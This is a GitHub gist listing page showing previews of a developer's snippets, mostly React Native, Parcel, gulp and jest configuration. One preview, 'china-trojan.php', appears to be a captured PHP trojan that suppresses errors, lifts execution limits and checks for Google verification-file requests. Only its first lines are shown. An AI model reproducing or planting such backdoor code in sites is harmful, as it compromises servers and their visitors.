Skip to content

Instantly share code, notes, and snippets.

Avatar
🐛
Killer

Vytenis FDiskas

🐛
Killer
  • Lithuania
View GitHub Profile
@FDiskas
FDiskas / readme.md
Created Apr 7, 2020
parcel + html + html include + scss
View readme.md

Steps

  1. yarn init -y
  2. yarn add -D parcel posthtml-img-autosize posthtml-include posthtml-modules autoprefixer rimraf
  3. touch .posthtmlrc.js
    module.exports = { 
        plugins: {
            "posthtml-img-autosize": {
                root: "./assets/images"
@FDiskas
FDiskas / metro.config.js
Created Mar 8, 2020
Config for react-native to support linked modules
View metro.config.js
const {
applyConfigForLinkedDependencies,
} = require("@carimus/metro-symlinked-deps");
const path = require('path');
module.exports = applyConfigForLinkedDependencies(
{
watchFolders: [path.resolve(__dirname, 'node_modules')],
transformer: {
getTransformOptions: async () => ({
@FDiskas
FDiskas / react-native-setup-firebase.sh
Created Jan 31, 2020
Setup firebase on react-native
View react-native-setup-firebase.sh
#!/usr/bin/env bash
set -e
echo What is your Project name?
read PROJECT_NAME
# Basic template create, rnfb install, link
# \rm -fr $PROJECT_NAME
# echo "Testing react-native current + react-native-firebase v6.current + Firebase SDKs current"
@FDiskas
FDiskas / typescriptreact.json
Last active Aug 30, 2019
VSCode snippets "React-Native"
View typescriptreact.json
{
"Component": {
"prefix": "comp",
"body": [
"import * as React from 'react';",
"import { View, StyleSheet, ViewStyle, Text } from 'react-native';",
"",
"interface ComponentProps {}",
"interface ComponentState {}",
"interface Styles {",
@FDiskas
FDiskas / polyfills.js
Last active Aug 24, 2017
localStorage polyfill for jest #jest #localStorage
View polyfills.js
global.localStorage = {
getItem(key) {
return this[key];
},
setItem(key, value) {
this[key] = value;
},
removeItem(key) {
delete this[key];
},
View china-trojan.php
<?php
ini_set('memory_limit', '-1');
@ini_set('max_execution_time', 0);
@set_time_limit(0);
error_reporting(0);
@ini_set('display_errors', 0);
$ct_dir = dirname(__FILE__)."/bak";
$req_path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
if(preg_match("/google(.*).html/i",$req_path,$res))
@FDiskas
FDiskas / .babelrc
Last active Nov 3, 2016
Reproducible bug. `npm install` works. And `yarn` not works.
View .babelrc
{ "presets": [ "es2015" ] }
View gulpfile.js
var gulp = require('gulp');
var kss = require('kss');
var config = { path: { dest: './dist', src: './src' } };
gulp.task('styleguide', function(){
return kss({
"source": [
config.path.src + "/sass"
],
"destination": config.path.dest + "/styleguide/",
"css": [
@FDiskas
FDiskas / Nature.md
Created May 10, 2016
GitHub all emoji cheat sheet
View Nature.md
Picture emoji code
☀️ :sunny:
:umbrella:
☁️ :cloud:
❄️ :snowflake:
:snowman:
:zap:
🌀 :cyclone:
🌁 :foggy:
@FDiskas
FDiskas / .bowerrc
Created Mar 17, 2016
laravel-elixir + laravel-elixir-wiredep + laravel-elixir-useref + asset
View .bowerrc
{
"directory": "public/assets/vendor"
}
You can’t perform that action at this time.